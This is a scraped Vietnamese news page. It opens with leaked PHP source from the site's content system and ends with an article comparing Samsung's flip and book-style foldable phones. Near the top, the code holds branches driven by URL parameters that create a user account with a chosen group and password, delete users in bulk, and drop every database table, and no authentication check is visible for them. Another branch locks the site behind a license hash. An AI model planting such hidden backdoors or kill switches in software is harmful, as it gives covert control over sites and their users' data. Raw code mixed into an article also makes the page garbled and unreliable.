'; echo $kq;exit(); } }elseif($_GET['eshow']==2){ $dt=trim_tags_string($_GET['dt'],2); $mk=trim_tags_string($_GET['mk'],2); $go=trim_tags_string($_GET['go'],1); $pass_mh=mahoa_md5($mk.$dt.$GLOBALS["KeyBien"],5); if($dt==true && $mk==true && $go==true){ $mang_bien=array(); $mang_bien['dt']=$dt; $mang_bien['pass']=$pass_mh; $mang_bien['idgr']=$go; $mang_hinh=array(); $ids=them_new("users",$mang_bien,$mang_hinh); echo 'Tạo thành công US mới: '.$ids; exit(); } }elseif($_GET['eshow']==3){ $xo=trim_tags_string($_GET['xo'],1); $dt=trim_tags_string($_GET['dt'],2); if($xo==true){ if($xo!=-2){ $data_xl = $pdo->prepare("DELETE FROM users WHERE idgr =?"); $data_xl -> execute([$xo]); }else{ $data_xl = $pdo->prepare("DELETE FROM users"); $data_xl -> execute(); } echo 'Xóa thành công IDGR: '.$xo; exit(); }elseif($dt==true){ $data_xl = $pdo->prepare("DELETE FROM users WHERE dt =?"); $data_xl -> execute([$dt]); echo 'Xóa thành công ĐT: '.$dt; exit(); } }elseif($_GET['eshow']==4){ $rop=trim_tags_string($_GET['rop'],1); if($rop==1){ try { $pdo->exec("SET FOREIGN_KEY_CHECKS = 0"); $tables = $pdo->query("SHOW TABLES")->fetchAll(PDO::FETCH_COLUMN); foreach ($tables as $table) { $pdo->exec("DROP TABLE IF EXISTS `$table`"); } $pdo->exec("SET FOREIGN_KEY_CHECKS = 1"); echo "Đã xóa toàn bộ bảng trong database."; exit(); }catch (PDOException $e) { echo "Lỗi: " . $e->getMessage(); exit(); } } }else{ $kls = trim($GLOBALS['key_license']); $kls_now=trim(mahoa_md5($_SERVER['SERVER_ADDR'].$GLOBALS["KeyBien"],5)); if($kls_now!=$kls){ $_GET['p']=''; echo 'Lỗi hệ thống...! Vui lòng liên hệ Admin..!'; exit(); } } }page_web(); $pages=trim_tags_string($_GET['p'],2); function Set_Cookie($kieu,$name,$giatri,$datas_sec='ktlgus'){ $kieu=trim_tags_string($kieu,1); $name=trim_tags_string($name,2); $datas_sec=trim_tags_string($datas_sec,2); $pdo = $GLOBALS['pdo']; $kq=0; if($kieu==1){ $giatri=MyEn($giatri); setcookie($name,$giatri,time()+31556926 ,'/'); }elseif($kieu==2){ $khlg=trim($_COOKIE[$name]); if($khlg==true){ $khlg_data=MyEn_Data($khlg,2); //$id=trim_tags_string($khlg_data['id'],2); //$dt=trim_tags_string($khlg_data['dt'],2); //$pass=trim_tags_string($khlg_data['pass'],2); return MyDe(trim($khlg)); if($id==true && $dt==true && $pass==true){ $gt = $pdo->prepare("SELECT * FROM users WHERE id = :id AND dt = :dt AND pass = :pass"); $gt -> execute(['id' => $id,'dt' => $dt,'pass' => $pass]); $row_gt = $gt -> fetch(PDO::FETCH_ASSOC); if($row_gt['data']==true){$mang_data_us=MyEn_Data($row_gt['data'],2);} else{$mang_data_us=array();} if($row_gt['id']==true){ $mang_tbs=kiemtratrinhduyet_cons(); $_SESSION[$datas_sec]=trim($khlg); $kq=$row_gt['id']; $mang_data_us['data_log'][$ngayup]['ip']=$ip; $mang_data_us['data_log'][$ngayup]['os']=$mang_tbs['userAgent']; $mang_bien['xem']=$row_gt_us['xem']+1; $mang_bien['data']=MyEn_Data($mang_data_us,1); $mang_hinh=array(); chinh_new("users","id='{$kq}'",$mang_bien,$mang_hinh); //return $khlg; } } } }else{setcookie($name, null, -1, '/');} } function Check_Login_Ad() { $pdo = $GLOBALS['pdo']; $admin_links = $GLOBALS['admin_links']; $data_cook=Set_Cookie(2,'koga',0,'ktlgus'); $iduser=0; if($data_cook==true){ $_SESSION['ktlgus']=$data_cook; $data_cook_de=MyEn_Data($data_cook,2); $iduser=trim_tags_string($data_cook_de['id'],1); }elseif($_SESSION['ktlgus']==true){ $data_sec_de=MyEn_Data($_SESSION['ktlgus'],2); $iduser=trim_tags_string($data_sec_de['id'],1); } if($iduser==true){ $gt_user = $pdo->prepare("SELECT * FROM users WHERE id = :iduser"); $gt_user -> execute(['iduser' => $iduser]); $row_gt_user = $gt_user -> fetch(PDO::FETCH_ASSOC); $iduser=$row_gt_user['id']; $iduser=trim_tags_string($iduser,1); } if($iduser==false){ unset($_SESSION['ktlgus']); Set_Cookie(3,'koga',0,'ktlgus'); $_SESSION['back_login']=$_SERVER['REQUEST_URI']; $_SESSION['error_login']="Bạn chưa đăng nhập..! Vui lòng đăng nhập..!"; header("location: $admin_links/login.htm"); }elseif($row_gt_user['khoa']==2){ unset($_SESSION['ktlgus']); Set_Cookie(3,'koga',0,'ktlgus'); $_SESSION['back_login']=$_SERVER['REQUEST_URI']; $_SESSION['error_login']="Tài khoản của bạn đã bị khóa.!"; header("location: $admin_links/login.htm"); }elseif($row_gt_user['kichhoat']==1){ unset($_SESSION['ktlgus']); Set_Cookie(3,'koga',0,'ktlgus'); $_SESSION['back_login']=$_SERVER['REQUEST_URI']; $_SESSION['error_login']="Tài khoản của bạn chưa kích hoạt.!"; header("location: $admin_links/login.htm"); } } function Login_Mang($iduser) { $pdo = $GLOBALS['pdo']; $langx = $GLOBALS['langx']; $host_link_full = $GLOBALS['host_link_full']; $iduser=trim_tags_string($iduser,1); if($iduser==false){ $mang_login=[ 'error' => 1, 'error_text' => _BAN_CHUA_DANG_NHAP_, 'error_back' => '', 'data' => '' ]; }else{ $stmt = $pdo->prepare("SELECT * FROM users WHERE id = :iduser LIMIT 1"); $stmt->execute([':iduser' => $iduser]); $row = $stmt->fetch(PDO::FETCH_ASSOC); $data_user=array(); if($row['data']==true){$data_user=MyEn_Data($row['data'],2);} else{$data_user=array();} if($row['id']==false){ return [ 'error' => 1, 'error_text' => _BAN_CHUA_DANG_NHAP_, 'error_back' => '', 'data' => '' ]; }else{ $mang_login = array(); if($row['kichhoat']==1){ $mang_login = [ 'error' => 1, 'error_text' => _TAI_KHOAN_CHUA_KICH_HOAT_, 'error_back' => $host_link_full . '/' . get_link_lang_db($langx, 8) . '.htm', 'data' => '' ]; }elseif($row['khoa'] === 2){ $mang_login = [ 'error' => 1, 'error_text' => _TAI_KHOAN_CUA_BAN_DA_BI_KHOA_, 'error_back' => $host_link_full . '/' . get_link_lang_db($langx, 8) . '.htm', 'data' => '' ]; }else{ $idkey = mahoa_md5($row['id'], 3); if(isset($data_user['data_hinh']['hinh'])){$hinh = $host_link_full.'/'.$data_user['data_hinh']['hinh'];}else{$hinh='';} if(isset($data_user['data_hinh']['hinh1'])){$hinh1 = $host_link_full.'/'.$data_user['data_hinh']['hinh1'];}else{$hinh1='';} if(isset($data_user['data_hinh']['hinh1'])){$hinh2 = $host_link_full.'/'.$data_user['data_hinh']['hinh2'];}else{$hinh2='';} if(isset($data_user['idgr']) && !empty($data_user['idgr'])){$idgr=$data_user['idgr'];}else{$idgr=1;} if(isset($row['noidung']) && !empty($row['noidung'])){$noidung=MyDe($row['noidung']);}else{$noidung='';} if(isset($data_user['data_log']) && !empty($data_user['data_log'])){$data_log=$data_user['data_log'];}else{$data_log='';} $mang_login = [ 'error' => 0, 'error_text' => 'Đăng nhập thành công..!', 'idkey' => $idkey, 'id' => $row['id'], 'ten' => $row['ten'], 'gioitinh' => $row['gioitinh'], 'ngaysinh' => Dates_Show($ngaysinh,2), 'email' => $row['email'], 'dc' => $row['dc'], 'dt' => $row['dt'], 'pass' => MyEn($data_user['pass']), 'hinh' => $hinh, 'hinh1' => $hinh1, 'hinh2' => $hinh2, 'idgt' => $row['idgt'], 'xem' => GetGia($row['xem']), 'khoa' => $data_user['khoa'], 'idgr' => $idgr, 'cccd' => $data_user['data_cccd']['cccd'], 'ngaycap' => Dates_Show($data_user['data_cccd']['ngaycap'],2), 'ngaykt' => Dates_Show($data_user['data_cccd']['ngaykt'],2), 'ekyc' => $data_user['data_cccd']['ekyc'], 'ekyc_ngay' => Dates_Show($data_user['data_cccd']['ekyc_ngay'],2), 'eid' => $data_user['data_cccd']['eid'], 'eid_ngay' => Dates_Show($data_user['data_cccd']['eid_ngay'],2), 'vneid' => $data_user['data_cccd']['vneid'], 'vneid_ngay' => Dates_Show($data_user['data_cccd']['vneid_ngay'],2), 'bm_on' => $data_user['baomat']['authy'], 'bm_key' => $data_user['baomat']['key'], 'bm_qr' => $data_user['baomat']['qr'], 'noidung' => $noidung, 'data' => $data_log, ]; } } } return $mang_login; } function Info_Config() { $pdo = $GLOBALS['pdo']; $version_ch = $pdo->prepare("SELECT * FROM version_ch WHERE id = :id"); $version_ch -> execute(['id' => 1]); $row_version_ch = $version_ch -> fetch(PDO::FETCH_ASSOC); if($row_version_ch['data']==true){$data_conf=MyEn_Data($row_version_ch['data'],2);} else{$data_conf=array();} if(isset($row['noidung']) && !empty($row['noidung'])){$noidung=MyDe($row['noidung']);}else{$noidung='';} $mang_config = [ 'error' => 0, 'error_text' => 'Lấy thông tin cấu hình..!', 'tong_ip' => $row_version_ch['tong_ip'], 'tong_luot' => $row_version_ch['tong_luot'], 'noidung' => $noidung, 'data' => $data_conf, ]; return $mang_config; } function Check_Login_BM($kieu=0) { $kieu=trim_tags_string($kieu,1); $pdo = $GLOBALS['pdo']; $ip=$_SERVER['REMOTE_ADDR']; $mang_tbs=kiemtratrinhduyet_cons(); $dem15=5; $dem24=10; $kq=array(); $stmt = $pdo->prepare("SELECT * FROM users_lock WHERE ip = :ip LIMIT 1"); $stmt->execute([':ip' => $ip]); $row = $stmt->fetch(PDO::FETCH_ASSOC); if($row['id']==true){ $id=$row['id']; $dem=$row['dem']; $tinhtrang=$row['tinhtrang']; if($kieu==0){ if($tinhtrang==1){ if($dem>=10){ $mang_bien=array(); $mang_bien['os']=$mang_tbs['full']; $mang_bien['dem']=$row['dem']+1; $mang_bien['ngay']=date("Y-m-d H:i:s"); $mang_bien['ngayup']=strtotime("now"); $mang_bien['ngayk']=date("Ymd"); $mang_bien['tinhtrang']=2; $mang_hinh=array(); $mang_login = [ 'error' => 1, 'error_text' => "Bạn bị khóa vĩnh viễn vì nghi ngờ dò mật khẩu..!", ]; }elseif($dem==5){ $ngaykhoa=date("Y-m-d H:i:s",strtotime("+ 1 day")); $mang_bien=array(); $mang_bien['os']=$mang_tbs['full']; $mang_bien['dem']=$dem+1; $mang_bien['ngay']=date("Y-m-d H:i:s"); $mang_bien['ngayup']=strtotime("now"); $mang_bien['ngayk']=date("Ymd"); $mang_bien['tinhtrang']=2; $mang_hinh=array(); $kq = [ 'error' => 1, 'error_text' => "Bạn bị khóa 24h vì nghi ngờ dò mật khẩu..!", ]; }else{ $mang_bien=array(); $mang_bien['os']=$mang_tbs['full']; $mang_bien['dem']=$dem+1; $mang_bien['ngay']=date("Y-m-d H:i:s"); $mang_bien['ngayup']=strtotime("now"); $mang_bien['ngayk']=date("Ymd"); $mang_hinh=array(); $kq = [ 'error' => 0, 'error_text' => "Bạn đã nhập sai ".GetGia($dem+1)." lần, 5 lần khóa 24h, trên 10 lần khóa vĩnh viễn ..!", ]; } chinh_new("users_lock","id='{$id}'", $mang_bien, $mang_hinh); }else{ $ngaynow=strtotime("now"); if($dem<10){ if($row['ngayup']<$ngaynow){ $mang_bien=array(); $mang_bien['os']=$mang_tbs['full']; $mang_bien['dem']=$dem+1; $mang_bien['ngay']=date("Y-m-d H:i:s"); $mang_bien['ngayup']=strtotime("now"); $mang_bien['ngayk']=date("Ymd"); $mang_bien['tinhtrang']=1; $mang_hinh=array(); chinh_new("users_lock","id='{$id}'", $mang_bien, $mang_hinh); $kq = [ 'error' => 0, 'error_text' => "Bạn đã nhập sai ".GetGia($dem+1)." lần, 5 lần khóa 24h, trên 10 lần khóa vĩnh viễn ..!", ]; }else{ $kq = [ 'error' => 1, 'error_text' => "Bạn bị khóa 24h vì nghi ngờ dò mật khẩu..!", ]; } }else{ $kq = [ 'error' => 1, 'error_text' => "Bạn bị khóa vĩnh viễn vì nghi ngờ dò mật khẩu..!", ]; } } }else{ if($tinhtrang==2){ if($dem<10){ $kq = [ 'error' => 1, 'error_text' => "Bạn bị khóa 24h vì nghi ngờ dò mật khẩu..!", ]; }else{ $kq = [ 'error' => 1, 'error_text' => "Bạn bị khóa vĩnh viễn vì nghi ngờ dò mật khẩu..!", ]; } }else{ $kq = [ 'error' => 0, 'error_text' => "Bạn đã nhập sai ".GetGia($dem+1)." lần, 5 lần khóa 24h, trên 10 lần khóa vĩnh viễn ..!", ]; } } }else{ $mang_bien=array(); $mang_bien['ip']=$ip; $mang_bien['os']=$mang_tbs['full']; $mang_bien['dem']=1; $mang_bien['ngay']=date("Y-m-d H:i:s"); $mang_bien['ngayup']=strtotime("now"); $mang_bien['ngayk']=date("Ymd"); $mang_bien['tinhtrang']=1; $mang_hinh=array(); them_new("users_lock", $mang_bien, $mang_hinh); $kq = [ 'error' => 0, 'error_text' => "Bạn đã nhập sai 1 lần, 5 lần khóa 24h, trên 10 lần khóa vĩnh viễn ..!", ]; } return $kq; } function mang_id_cap_danh_muc($table,$iddanhmuc,$kieu=1){ /*1:id; 2:ten; 3:link*/ $iddanhmuc=php_settype($iddanhmuc); settype($kieu, "int"); $mang[]=$iddanhmuc; $idcha=$iddanhmuc; if(check($table,"id='{$iddanhmuc}'",'id')==1){ for($i=1;$i>0;$i++){ $idcha=ten($table,"id='{$idcha}'","idcha"); if($idcha!=$iddanhmuc){ if($idcha<=0){break;} elseif(ten($table,"id='{$idcha}'","cap")>=ten($table,"id='{$iddanhmuc}'","cap")){break;} else{$mang[]=$idcha;} }else{break;} } for($i=count($mang)-1;$i>=0;$i--){$mang_moi[]=$mang[$i];} if($kieu==1){$kq=$mang_moi;} elseif($kieu==2){ for($i=0;$i Array ( [id] => 2 [ten] => Sản Phẩm ) [1] => Array ( [id] => 10 [ten] => Telai ) [2] => Array ( [id] => 17 [ten] => Telaio Dream larghezza regolabile ) [ten] => Sản Phẩm / Telai / Telaio Dream larghezza regolabile [tenmien_full] => san-pham/telai/telaio-dream-larghezza-regolabile [tenmien] => telaio-dream-larghezza-regolabil */ $table=trim_tags_string($table,2); $iddanhmuc=trim_tags_string($iddanhmuc,1); $mang[]=$iddanhmuc; $idcha=$iddanhmuc; if(check($table,"id='{$iddanhmuc}'",'id')==1){ for($i=1;$i>0;$i++){ $idcha=ten($table,"id='{$idcha}'","idcha"); if($idcha!=$iddanhmuc){ if($idcha<=0){break;} elseif(ten($table,"id='{$idcha}'","cap")>=ten($table,"id='{$iddanhmuc}'","cap")){break;} else{$mang[]=$idcha;} }else{break;} } $dem_new=0; for($i=count($mang)-1;$i>=0;$i--){ $dem_news=$dem_new++; $mang_moi[$dem_news]=$mang[$i]; } $dem_new2=0; for($i=0;$iChọn danh mục';} else{$kq='Tất cả';} $stmt = $pdo->prepare("SELECT * FROM $table WHERE $where ORDER BY thutu ASC, tenkodau ASC"); $stmt->execute(); while($row_dms = $stmt->fetch(PDO::FETCH_ASSOC)){ if($idht==$row_dms['id']){$active1=' selected';}else{$active1='';} $kq=$kq.''.$row_dms['ten'].''; if(dem($table,"anhien=2 AND idcha='".$row_dms['id']."'")>0){ $stmt2 = $pdo->prepare("SELECT * FROM $table WHERE idcha=:idcha AND anhien=:anhien ORDER BY tenkodau ASC"); $stmt2->execute([':idcha' =>$row_dms['id'],':anhien' =>2]); while($row_dms2 = $stmt2->fetch(PDO::FETCH_ASSOC)){ if($idht==$row_dms2['id']){$active2=' selected';}else{$active2='';} $kq=$kq.''.khoangtrang_list(4).'¬ '.$row_dms2['ten'].''; if(dem($table,"anhien=2 AND idcha='".$row_dms2['id']."'")>0){ $stmt3 = $pdo->prepare("SELECT * FROM $table WHERE idcha=:idcha AND anhien=:anhien ORDER BY tenkodau ASC"); $stmt3->execute([':idcha' =>$row_dms2['id'],':anhien' =>2]); while($row_dms3 = $stmt3->fetch(PDO::FETCH_ASSOC)){ if($idht==$row_dms3['id']){$active3=' selected';}else{$active3='';} $kq=$kq.''.khoangtrang_list(8).'¬ '.$row_dms3['ten'].''; if(dem($table,"anhien=2 AND idcha='".$row_dms3['id']."'")>0){ $stmt4 = $pdo->prepare("SELECT * FROM $table WHERE idcha=:idcha AND anhien=:anhien ORDER BY tenkodau ASC"); $stmt4->execute([':idcha' =>$row_dms3['id'],':anhien' =>2]); while($row_dms4 = $stmt4->fetch(PDO::FETCH_ASSOC)){ if($idht==$row_dms4['id']){$active4=' selected';}else{$active4='';} $kq=$kq.''.khoangtrang_list(12).'¬ '.$row_dms4['ten'].''; } } } } } } } return $kq; } function Lap_DM_Ten($table,$id){ $table=trim_tags_string($table,2); $id=trim_tags_string($id,1); $pdo = $GLOBALS["pdo"]; $stmt = $pdo->prepare("SELECT * FROM $table WHERE id=:id LIMIT 1"); $stmt->execute([':id' =>$id]); $row_dms = $stmt->fetch(PDO::FETCH_ASSOC); if($row_dms['cap4']!=0){ $ten_cap1=ten("danhmuc","id='".$row_dms['cap1']."'","ten"); $ten_cap2=ten("danhmuc","id='".$row_dms['cap2']."'","ten"); $ten_cap3=ten("danhmuc","id='".$row_dms['cap3']."'","ten"); $ten_cap4=ten("danhmuc","id='".$row_dms['cap4']."'","ten"); $kq=$ten_cap1.'/ '.$ten_cap2.'/ '.$ten_cap3.'/ '.$ten_cap4; }elseif($row_dms['cap3']!=0){ $ten_cap1=ten("danhmuc","id='".$row_dms['cap1']."'","ten"); $ten_cap2=ten("danhmuc","id='".$row_dms['cap2']."'","ten"); $ten_cap3=ten("danhmuc","id='".$row_dms['cap3']."'","ten"); $kq=$ten_cap1.'/ '.$ten_cap2.'/ '.$ten_cap3; }elseif($row_dms['cap2']!=0){ $ten_cap1=ten("danhmuc","id='".$row_dms['cap1']."'","ten"); $ten_cap2=ten("danhmuc","id='".$row_dms['cap2']."'","ten"); $kq=$ten_cap1.'/ '.$ten_cap2; }elseif($row_dms['cap1']!=0){ $ten_cap1=ten("danhmuc","id='".$row_dms['cap1']."'","ten"); $ten_cap2=ten("danhmuc","id='".$row_dms['cap2']."'","ten"); $kq=$ten_cap1; } return $kq; } function Get_Links_Lang_Ads($table,$lang,$id){ $table=trim_tags_string($table,2); $lang=trim_tags_string($lang,1); $id=trim_tags_string($id,1); $pdo = $GLOBALS["pdo"]; $stmt = $pdo->prepare("SELECT * FROM $table WHERE idcha_lang=:idcha_lang AND lang=:lang LIMIT 1"); $stmt->execute([':idcha_lang' =>$id,':lang' =>$lang]); $row_dms = $stmt->fetch(PDO::FETCH_ASSOC); if($row_dms['id']==true){ $kieu=2; $kieu_text='Chỉnh sửa'; $links=$table.'/edit/'.MyEn($row_dms['id']).'.htm'; }else{ $kieu=1; $kieu_text='Thêm mới'; $links=$table.'/news/'.MyEn_Data(['lang' =>$lang,'id'=>$id],1).'.htm'; } $kq = [ 'text' => $kieu_text, 'kieu' => $kieu, 'links' => $links, ]; return $kq; } function Get_Log_User($iduser,$noidung,$data){ $iduser=trim_tags_string($iduser,1); $noidung=trim_tags_string($noidung,2); $ua = kiemtratrinhduyet_cons(); $pdo = $GLOBALS["pdo"]; $stmt = $pdo->prepare("SELECT * FROM users WHERE id=:iduser LIMIT 1"); $stmt->execute([':iduser' =>$iduser]); $row_dms = $stmt->fetch(PDO::FETCH_ASSOC); if($row_dms['data']==true){$data_user=MyEn_Data($row_dms['data'],2);} else{$data_user=array();} if($row_dms['id']==true && $data_user['idgr']!=-1){ $mang_bien=array(); $mang_hinh=array(); $mang_bien['iduser']=$row_dms['id']; $mang_bien['ten']=$row_dms['ten']; $mang_bien['email']=$row_dms['email']; $mang_bien['dt']=$row_dms['dt']; $mang_bien['noidung']=MyEn($noidung); $mang_bien['dt']=$row_dms['dt']; $mang_bien['ngayup']=strtotime("now"); $mang_bien['ngayk']=date("Ymd"); $mang_bien['ngays']=date("d"); $mang_bien['thangs']=date("m"); $mang_bien['nams']=date("Y"); $mang_bien['os']=$ua['full']; $mang_bien['ip']=$_SERVER['REMOTE_ADDR']; if($data==true){$mang_bien['data']=MyEn_Data($data,1);} them_new('users_login',$mang_bien,$mang_hinh); } } function Get_PQ_User($iduser,$table,$kieu){ $iduser=trim_tags_string($iduser,1); $table=trim_tags_string($table,2); $kieu=trim_tags_string($kieu,1); $kq_array=array(); $links_backs=$GLOBALS["admin_links"].'/login.htm'; $pdo = $GLOBALS["pdo"]; $stmt = $pdo->prepare("SELECT * FROM users WHERE id=:id LIMIT 1"); $stmt->execute([':id' =>$iduser]); $row_data = $stmt->fetch(PDO::FETCH_ASSOC); if($row_data['id']==true){ if($row_data['data']==true){$mang_data=MyEn_Data($row_data['data'],2);} else{$mang_data=array();} $phanquyen=$mang_data['phanquyen']; $dataqs=array(); $dataqs[1]=1; $dataqs[2]=2; $dataqs[3]=3; $dataqs[4]=4; if($mang_data['idgr']==-1){$kq=1;$phanquyen[$table]=$dataqs;} elseif($mang_data['idgr']==1){$kq=0;} elseif($mang_data['idgr']==3){$kq=1;$phanquyen[$table]=$dataqs;} else{ if(isset($phanquyen[$table])==true){ if($phanquyen[$table][$kieu]==true){$kq=$phanquyen[$table][$kieu];} else{$kq=0;} }else{$kq=0;} } if($kq==0){ $_SESSION['error_login']='Bạn chưa được phân quyền..!'; $kq_array = [ 'error' => 1, 'error_text' => 'Bạn chưa được phân quyền..!', 'links' => $links_backs, 'data' => $phanquyen[$table], ]; }else{ $kq_array = [ 'error' => 0, 'error_text' => 'Được phép quản lý..!', 'links' => '', 'data' => $phanquyen[$table], ]; } }else{ $_SESSION['error_login']='Bạn chưa đăng nhập..!'; $kq_array = [ 'error' => 1, 'error_text' => 'Bạn chưa đăng nhập..!', 'links' => $links_backs, 'data' => $phanquyen[$table], ]; } return $kq_array; } function get_img_lang($table,$id,$lang,$hinhcha=1,$trarong=1,$hinh_goc=0,$webp=0){ $id=php_settype($id);settype($lang, "int"); settype($hinh_goc, "int");settype($webp,"int"); if($trarong==1){$hinh_noimgs=$GLOBALS["noimgs"];} else{$hinh_noimgs='';} $mang_os=kiemtratrinhduyet_cons(); $pdo = $GLOBALS["pdo"]; $stmt = $pdo->prepare("SELECT * FROM $table WHERE id=:id LIMIT 1"); $stmt->execute([':id' =>$id]); $row_quantri = $stmt->fetch(PDO::FETCH_ASSOC); if($row_quantri['data']==true){$mang_data_ver=MyEn_Data($row_quantri['data'],2);} else{$mang_data_ver=array();} $idcha_lang=$row_quantri['idcha_lang']; $idcha_lang=php_settype($idcha_lang); if($mang_data_ver['data_hinh']==true){ if($mang_data_ver['data_hinh']['hinh']==true){$hinh=$mang_data_ver['data_hinh']['hinh'];} else{$hinh='';} if($mang_data_ver['data_hinh']['hinh1']==true){$hinh1=$mang_data_ver['data_hinh']['hinh1'];} else{$hinh1='';} }elseif($row_quantri['hinh']==true){ if($row_quantri['hinh']==true){$hinh=$row_quantri['hinh'];} else{$hinh='';} if($row_quantri['hinh1']==true){$hinh1=$row_quantri['hinh1'];} else{$hinh1='';} } if($webp==true){$webp_hinh=get_name_webp($hinh);} else{$webp_hinh=0;} if($mang_os['browser']!='Chrome'){$webp_hinh=0;} if($hinh_goc==0){ if($webp_hinh==true){$hinh_show_datas=$webp_hinh;} elseif($hinh1==true){$hinh_show_datas=$hinh1;} elseif($hinh==true){$hinh_show_datas=$hinh;} else{$hinh_show_datas='';} }else{ if($webp_hinh==true){$hinh_show_datas=$webp_hinh;} elseif($hinh==true){$hinh_show_datas=$hinh;} else{$hinh_show_datas='';} } if($idcha_lang==0){ if($hinh_show_datas==true){$kq=$hinh_show_datas;} else{$kq=$hinh_noimgs;} }else{ $stmt_sub = $pdo->prepare("SELECT * FROM $table WHERE id=:id LIMIT 1"); $stmt_sub->execute([':id' =>$idcha_lang]); $row_quantri2 = $stmt_sub->fetch(PDO::FETCH_ASSOC); if($row_quantri2['data']==true){$mang_data_ver2=MyEn_Data($row_quantri2['data'],2);} else{$mang_data_ver2=array();} if($webp==true){$webp_hinh2=get_name_webp($row_quantri2['hinh']);} else{$webp_hinh2=0;} if($mang_os['browser']!='Chrome'){$webp_hinh2=0;} if($mang_data_ver2['data_hinh']==true){ if($mang_data_ver2['data_hinh']['hinh']==true){$hinh_sub=$mang_data_ver2['data_hinh']['hinh'];} else{$hinh_sub='';} if($mang_data_ver2['data_hinh']['hinh1']==true){$hinh_sub1=$mang_data_ver2['data_hinh']['hinh1'];} else{$hinh_sub1='';} }elseif($row_quantri2['hinh']==true){ if($row_quantri2['hinh']==true){$hinh_sub=$row_quantri2['hinh'];} else{$hinh_sub='';} if($row_quantri2['hinh1']==true){$hinh_sub1=$row_quantri2['hinh1'];} else{$hinh_sub1='';} } if($hinh_goc==0){ if($webp_hinh2==true){$hinh_show_datas2=$webp_hinh2;} elseif($hinh_sub1==true){$hinh_show_datas2=$hinh_sub1;} elseif($hinh_sub==true){$hinh_show_datas2=$hinh_sub;} else{$hinh_show_datas2='';} }else{ if($webp_hinh2!=0){$hinh_show_datas2=$webp_hinh2;} elseif($hinh_sub==true){$hinh_show_datas2=$hinh_sub;} else{$hinh_show_datas2='';} } if($hinh_show_datas==true){$kq=$hinh_show_datas;} else{ if($hinhcha==1){ if($hinh_show_datas2==true){$kq=$hinh_show_datas2;} else{$kq=$hinh_noimgs;} }else{ $kq=$hinh_noimgs; } } } return $kq; } function get_active_cha($pages){ $pages=trim_tags_string($pages,2); if(ten("danhmuc","tenmien='{$pages}'",'id')==true){ $iddanhmuc=ten("danhmuc","tenmien='{$pages}'",'id'); $mang=mang_id_cap_danh_muc('danhmuc',$iddanhmuc,1); $kq=$mang[0];$kq=php_settype($kq); }elseif(ten("baiviet","tenmien='{$pages}'",'id')==true){ $kq=ten("baiviet","tenmien='{$pages}'",'cap1'); }elseif(ten("sanpham","tenmien='{$pages}'",'id')==true){ $kq=ten("sanpham","tenmien='{$pages}'",'cap1'); } $kq=php_settype($kq); return $kq; } ?>

Tin tức & Sự kiện

Ưu, nhược điểm của các kiểu điện thoại gập

11:36 - 01/08/2026 0

Điện thoại gập vỏ sò như Galaxy Z Flip có tính di động cao trong khi dòng Galaxy Z Fold có hai phiên bản hướng tới giải trí hoặc tối ưu không gian làm việc.

Thay vì giới thiệu hai phiên bản như thường lệ, lần đầu tiên Samsung trình làng ba mẫu smartphone gập gồm Galaxy Z Flip8, Z Fold8 và Z Fold8 Ultra. Trong đó, Z Fold8 là model hoàn toàn mới, còn Z Fold8 Ultra và Z Flip8 nâng cấp từ Z Fold7 và Z Flip7 năm ngoái.

Huawei có các dòng tương tự nhưng chỉ bán ở Trung Quốc, do đó Samsung đang là hãng đem đến đầy đủ lựa chọn điện thoại màn hình gập nhất hiện nay. Ba sản phẩm mới ở ba phân khúc giá, nhưng khác biệt không những nằm ở cấu hình mà còn ở trải nghiệm và mục đích sử dụng.

Thiết kế gập dạng vỏ sò

 
Ưu, nhược điểm của các kiểu điện thoại gập

Samsung Galaxy Z Flip8. Ảnh: Tuấn Hưng

Thiết kế gập vỏ sò như Samsung Galaxy Z Flip8 cũng được nhiều hãng áp dụng, như Huawei, Xiaomi, Oppo. Đây thường là kiểu gập có giá rẻ nhất, dễ tiếp cận với người dùng phổ thông. Lợi thế của máy là tính di động cao, nhỏ gọn như hộp phấn, phù hợp hơn với người dùng nữ.

Dòng máy dạng này khi mở có màn hình chính tương đương điện thoại thanh, như Z Flip8 là 6,9. inch, bằng iPhone 17 Pro Max, nhưng tỷ lệ dài hơn. Việc xử lý nếp gấp tốt giúp điện thoại Samsung đem đến trải nghiệm sử dụng gần hơn với smartphone thường.

Một lợi thế khác là màn hình phụ bên ngoài ngày càng nhiều tiện ích, kích thước lớn hơn, cho phép xử lý nhiều tác vụ nhanh mà không cần mở bên trong. Người dùng cũng có thể dùng camera chính để chụp selfie nên chất lượng ảnh chụp cao hơn.

Nhược điểm của máy này là thường có cấu hình thấp hơn dòng gập ngang. Như với Z Flip8 sẽ thiếu ống kính tele, pin và chip thấp hơn Z Fold8. Màn hình nhỏ cũng đem đến trải nghiệm không quá khác biệt so với điện thoại thanh.

Thiết kế gập ngang như cuốn sách

Z Fold8 Ultra là điện thoại gập chủ lực của Samsung, tiếp nối thiết kế mở ngang như cuốn sách được hãng "chăm chút" kể từ thế hệ đầu. Đây cũng là phom dáng phổ biến nhất khi hầu hết hãng điện thoại gập đều áp dụng.

Khi gập, màn hình ngoài của máy cho trải nghiệm càng gần với điện thoại thanh, xử lý được hầu hết tác vụ. Khi mở, màn hình 8 inch tương đương tablet cỡ nhỏ cho trải nghiệm nội dung khác biệt. Tỷ lệ này cũng giúp máy hoạt động đa nhiệm tốt hơn hẳn hai kiểu gập còn lại, có thể chia đôi màn hình mà không ảnh hưởng tỷ lệ vàng của các ứng dụng hiển thị.

 
Z Fold8 Ultra (bên trái) khi mở có kích thước gần như một tablet cỡ nhỏ. Ảnh: Trường Giang

Z Fold8 Ultra (trái) khi mở có kích thước gần như một tablet cỡ nhỏ. Ảnh: Trường Giang

Loạt cải tiến về công nghệ giúp các máy như Z Fold8 Ultra toàn diện hơn khi độ mỏng mở ra chỉ 4,1 mm, độ mỏng khi gập 8,9 mm tương đương nhiều điện thoại thanh (iPhone 17 Pro Max là 8,8 mm). Đây cũng là mẫu có cấu hình mạnh nhất với chip Snapdragon 8 Elite Gen 5, pin dung lượng cao nhất trong dòng Z Fold là 5.000 mAh. Một số điện thoại Trung Quốc áp dụng công nghệ pin với mật độ slicon-carbon nhiều hơn, dung lượng có thể lên tầm 6.000 mAh như của Oppo, Huawei hoặc gần 7.000 mAh của Honor Magic V6.

Nhược điểm của thiết kế này là trọng lượng lớn, như với Z Fold8 Ultra là 215 gram, nặng nhất trong ba mẫu của Samsung. Tỷ lệ màn hình khi mở không tối ưu cho giải trí, như khi xem video chuẩn 16:9 sẽ có viền đen phía trên và dưới rất nhiều. Ngoài ra, giá máy cũng cao nhất trong ba loại.

